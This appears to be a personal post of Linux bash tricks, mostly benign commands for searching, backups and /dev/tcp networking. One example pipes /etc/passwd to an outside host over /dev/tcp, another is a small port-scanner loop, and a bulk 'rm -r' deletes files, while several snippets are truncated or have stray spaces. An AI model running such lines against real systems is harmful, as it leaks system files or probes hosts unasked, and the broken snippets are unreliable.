Here are some of my Linux bash shell findings, I hope it is good for everyone
Find some text in current folder, sub-folders and files:-
1 | find . | xargs grep 'string_to_find' |
Getting current time from some time server:-
1 | cat < /dev/tcp/ time .nist.gov/13 |
Convert Unix Timestamp (aka Epoch):-
2 | Tue Dec 21 20:53:24 2010 |
Downloading a URL:-
1 | exec 5<>/dev/tcp/www.net.cn/80 |
2 | echo -e "GET / HTTP/1.0\n" >&5 |
Sending Data over network:-
1 | cat /etc/ passwd > /dev/tcp/example.com/10000 |
TCP Port Checker:-
1 | ( echo >/dev/tcp/127.0.0.1/23) 2>/dev/null \ |
2 | && echo open || echo close |
And
1 | cat < /dev/tcp/localhost/25 |
Smallest Port Scanner:-
3 | for ((i=$2; $i <=$3; i++)); do |
4 | echo >/dev/tcp/$1/$i && echo $i/tcp Port Open; |
Making File Backup when working on it
1 | cp portscanner.sh{,.bak} |
“!$” Reusing Last command arguments
1 | mkdir /path/to/exampledir |
Taking Folder Backup with rsync (local)
1 | rsync -Aax myfolder/ myfolder-dirbkp_` date +”%Y%m%d”`/ |
Deleting all files/Folder except some (in this example data and config folder will not delete)
1 | ls | grep - v ‘(data)|(config)’ | xargs rm -r |
Will add more tricks laters…..